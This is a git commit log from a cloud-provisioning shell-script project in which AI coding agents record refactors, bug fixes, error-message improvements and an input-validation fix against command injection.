Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-12 15:19:11 -08:00
A
dcf8242b0a
refactor: extract _curl_api and _extract_json_field helpers in shared/common.sh (#673)
Consolidate duplicated curl logic from _make_api_request and
_make_api_request_custom_auth into a shared _curl_api core function,
reducing copy-paste and making both functions thin wrappers.

Extract inline Python JSON extraction from generic_wait_for_instance
into a reusable _extract_json_field helper.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 15:02:20 -08:00
Ahmed Abushagur
1ad2371a25
feat: qa bot and emails (#565) 2026-02-11 20:19:45 -08:00
A
3679fd2b3a
fix: redirect echo to stderr in get_model_id_interactive to prevent JSON corruption (#554)
The `echo ""` on line 351 of get_model_id_interactive() was going to
stdout, causing it to be captured by command substitution into MODEL_ID.
This injected a newline into the openclaw.json config, breaking JSON
parsing with "invalid character '\n' at 15:0".

Fixes #553

Agent: issue-fixer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-11 16:28:21 -08:00
A
7c693db35b
refactor: extract check_ssh_key_by_fingerprint into shared helper (#552)
13 cloud providers had identical 5-line check_ssh_key functions that
fetch SSH keys from the provider API and grep for the fingerprint.
Extract this pattern into a shared check_ssh_key_by_fingerprint helper
in shared/common.sh, reducing each cloud's function to a single line.

Affected clouds: BinaryLane, Cherry, Civo, Contabo, DigitalOcean,
Genesis Cloud, Hetzner, Hostinger, Latitude, Linode, OVH, Scaleway,
Vultr.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-11 16:12:07 -08:00
A
08104e1afb
fix: add actionable guidance to instance timeout and auth failure errors (#550)
The generic_wait_for_instance timeout message previously just said
"did not become active in time" with no guidance. Now it follows the
same pattern as generic_ssh_wait by telling users what to do next.

Similarly, _validate_token_with_provider now shows the env var name
so users can set it directly instead of re-running interactively.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-11 16:00:09 -08:00
A
cc23013e7c
fix: validate MODEL_ID from environment to prevent command injection (#548)
The get_model_id_interactive function returned MODEL_ID from env vars
without calling validate_model_id, bypassing the allowlist check. Also
migrated 13 legacy scripts from raw safe_read to get_model_id_interactive
which includes validation.

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-11 15:41:10 -08:00
A
e97a061129
refactor: reduce complexity in 3 shared/common.sh functions (#539)
1. _cloud_api_retry_loop: consolidate two duplicate retry branches
   (network error + HTTP 429/503) into a single retry path using a
   retry_reason variable. Reduces from 47 to 43 lines, eliminates
   duplicated _api_should_retry_on_error / _update_retry_interval calls.

2. interactive_pick: extract list display + selection into reusable
   _display_and_select helper. The main function is now a thin wrapper
   that checks env var, fetches items, then delegates to the helper.

3. generic_ssh_wait: replace inline backoff calculation (3 lines) with
   existing _update_retry_interval helper, reducing duplication.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-11 15:12:23 -08:00
A
be5f9f1087
refactor: extract get_validated_server_name to eliminate 18 duplicate get_server_name functions (#535)
18 cloud lib/common.sh files had identical 7-line get_server_name()
functions (get_resource_name + validate_server_name + echo). Added a
shared get_validated_server_name helper to shared/common.sh and replaced
all duplicates with one-line delegations. Net -110 lines.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-11 14:42:09 -08:00
A
a9fae77c1f
refactor: simplify API retry logic and dispatchCommand (#533)
Remove 2 unnecessary indirection layers (_handle_api_transient_error and
_api_handle_transient_http_error) from the cloud API retry infrastructure.
The old _handle_api_transient_error had a bug where "network" was passed
as the attempt parameter to _api_should_retry_on_error, which expects a
numeric value. The retry logic is now inlined directly in
_cloud_api_retry_loop, calling _api_should_retry_on_error with the
correct arguments.

Also extract duplicated help-flag checking in dispatchCommand into a
hasTrailingHelpFlag helper, reducing nesting and removing repeated code.

Net: -72 lines, 2 fewer functions, 1 bug fix.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-11 14:29:37 -08:00